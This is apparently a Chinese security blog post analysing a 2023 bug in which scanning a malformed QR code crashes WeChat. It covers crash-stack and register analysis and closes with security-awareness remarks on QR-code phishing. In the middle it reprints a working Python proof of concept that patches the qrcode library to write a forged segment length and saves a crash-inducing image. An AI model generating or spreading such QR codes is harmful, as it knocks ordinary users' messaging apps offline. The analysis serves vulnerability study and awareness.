微信扫码崩溃？比bug更令人崩溃的是好奇心

东方隐侠-千里

已于 2023-04-27 23:39:50 修改

阅读量528

点赞数

分类专栏：东方隐侠专栏文章标签：安全

于 2023-04-26 23:25:14 首次发布

本文链接：https://blog.csdn.net/qq_37865996/article/details/130396670

版权

东方隐侠专栏专栏收录该内容

2 篇文章 1 订阅

订阅专栏

昨天至今，大家都在转发微信编解码Bug导致扫码崩溃，为了对热度表示一定的尊重，我们也重复宣传下。请一定接着看下去哟

长按直接导致微信闪退，各位一定不要扫（可能这句话要往前放）。这里参考MustangYM （重生信息安全）的文章：https://mp.weixin.qq.com/s/MlZsXz-1twSENm-hKfwyeQ

别问本文为啥偏要引用大佬文章

Crash地址

如下图所示在0x1f1570c0c地址处出现了内存访问错误，通常意味着程序试图访问一个不存在的内存地址，或者尝试访问已经被释放的内存，或者访问已经越界的内存

Crash栈

如下图所示，第0栈帧与第1栈帧分别落在了libsystemplatformdylib与libc++1dylib系统库中，而第2帧到第14帧落在 WeChat主可执行文件中，由于符号被裁减的原因，暂时看不出具体函数符号

获取WeChat可执行文件模块基址

寻找具体函数

0x10E2A7500地址处从x8寄存器指向的内存地址中读取一个指针，并将其存储到x8寄存器中。然后通过x8寄存器间接跳转到某个函数的执行地址，EXCBADACCESS错误的原因可能是因为x8寄存器中存储的指针无效，即该指针所指向的内存地址未被初始化或已被释放

x8寄存器

loc10e2a74d0->loc10e2a74f0存在跳转关系

而loc10e2a74d0中存在对x8寄存器的操作x8寄存器被设置为0x111875000这个地址，即与上文中的000000010e2a7500地址指向同一块内存，而000000010e2a74d8处该地址偏移0xd30处的内容被加载到了x1寄存器中。这里的内容应该是一个字符串"UTF-8”的地址

结论

综上，此次导致微信Crash的元凶可能是特殊文本/字符的编码导致，类似前些年出现的"炸群"字符类似。

那么，如何加以利用呢？这里引用https://gist.github.com/GZTimeWalker/3ca70a8af2f5830711e9cccc73fb5270的代码

import qrcode
from qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTE

def nvwu_put(self, num, length):
    if num == 0:
        num = 233  # 制造一个伪造的长度
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)

qrcode.util.BitBuffer.put = nvwu_put

def dfyx():
    qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)

    num_data = QRData('1145141', MODE_NUMBER)
    data = QRData(b'.', MODE_8BIT_BYTE)
    hack_data = QRData(b'', MODE_8BIT_BYTE)

    # 确保所有数据都适应这个版本的最大内容长度
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)

    # 添加一个零长度的数据，使得数据的长度为233
    qr.add_data(hack_data)

    img = qr.make_image()
    img.save("./poc1.png")

if __name__ == "__main__":
    dfyx()

But，漏洞修不修是腾讯的事，扫不扫就是你的事了。

因此，本文给出观点：微信扫码手机崩溃？比Bug更令人崩溃的是好奇心！

本文的归类也自然属于安全意识、防钓鱼攻击模块等。

在往常介绍钓鱼攻击时，任何企业，无论规模大小，是否部署先进的安全工具，都难以抵御网络钓鱼攻击。防御者可以用更先进的工具和技术来检测和阻止网络钓鱼电子邮件、链接和消息，但网络钓鱼攻击技术和策略也在不断进步和演变。

在过去，我们一直在安全意识培训中宣传钓鱼邮件、短信中，附件和链接是两种主要的钓鱼方式，前者聚焦于命令与控制，后者以水坑攻击/虚假站点等骗取信息。但近两年，二维码成为一种新的钓鱼承载形式，虽然本质也是文本或者链接的一种表达形式而已。